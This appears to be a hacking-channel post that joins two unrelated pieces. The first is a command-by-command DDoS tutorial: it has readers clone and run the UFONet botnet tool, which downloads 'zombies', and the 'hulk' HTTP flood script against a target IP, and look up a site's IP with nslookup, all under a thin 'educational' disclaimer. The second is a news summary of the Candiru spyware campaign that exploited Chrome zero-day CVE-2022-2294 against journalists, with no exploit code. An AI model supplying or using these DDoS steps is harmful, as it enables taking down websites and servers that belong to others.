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HOW TO PERFORM DDOS ATTACK AS YOU'RE DOING IT VIA BOTNET

Do this only on Linux distr.:

apt update && apt upgrade
git clone https://github.com/epsylon/ufonet.git
cd ufonet
pip3 install GeoIP
pip3 install python-geoip
pip3 install pygeoip
pip3 install requests
pip3 install pycrypto
pip3 install pycurl
pip3 install whois
pip3 install scapy-python3
chmod + x setup.py
chmod + x ufonet
python3 ufonet --download-zombies
python3 ufonet -i sitehere

⚠️This is for educational and fun purposes only

DDoS is Denial of Services attack which we use to take down any Website, Server, Victime's IP.
pkg upgrade
pkg update
pkg install git.       
pkg install python2
git clone https://github.com/ujjawalsaini3/hulk
cd hulk
chmod +x * hulk.py
python2 hulk.py
python2 hulk.py http:// <target IP> and hit Enter
hulk started...

How to find a website IP
open New tab/session
apt install nslookup
nslookup example.com

Copy paste the IP address

*🔰Chrome Zero-day Abused to Spread Spyware to Target Journalists*🔰

The spyware vendor from Israel, Candiru, was discovered abusing a zero-day vulnerability in Google Chrome to spy on journalists and high-interest individuals from the Middle East, using a spyware called DevilsTongue.


*The abuse of zero-day*

Avast researchers spotted the vulnerability and reported it to Google. Further, they disclosed the details after examining DevilsTongue attacks on their clients.
Candiru started abusing the zero-day in March and targeting users in Palestine, Turkey, Yemen, and Lebanon.
The flaw, tracked as CVE-2022-2294, is a high-severity heap-based buffer overflow in WebRTC. Its successful exploitation may lead to code execution on the targeted device.
After being reported to Google, the tech firm patched the exploited zero-day on July 4, which has been under active exploitation in cyberattacks.

Since the bug exists in WebRTC, it also impacts Safari browser but the exploit found only work on Windows.

*Attack vectors*

The spyware operators have used watering holes and spear-phishing tactics in their attacks.
This attack requires no interaction with the victim, such as clicking on a link or downloading a file.
Instead, a user is made to open an already compromised website or the one created by hackers in a Chromium-based browser or Chrome.
In one instance, the attackers infected a website used by a news agency in Lebanon and inserted JavaScript snippets to enable XSS attacks, and redirected targets to the exploit server.
In the Lebanon case, the zero-day allowed shellcode execution inside a renderer process and further chained with a sandbox escape flaw that Avast failed to recover for investigation.

*What was the target?*

After the initial infection, the DevilsTongue spyware used a BYOVD (bring your own driver) step to elevate the privileges and achieve read and write rights to the infected device's memory. Researchers believe the cybercriminals used the spyware to learn about what news stories the targeted journalist are working on.

*Conclusion*

The recent report sheds light on the dangers of services offered by commercial spyware vendors. These vendors are developing or buying zero-day exploits to target people asked by their clients. Thus, always protect data with powerful encryption and update devices with the latest security updates.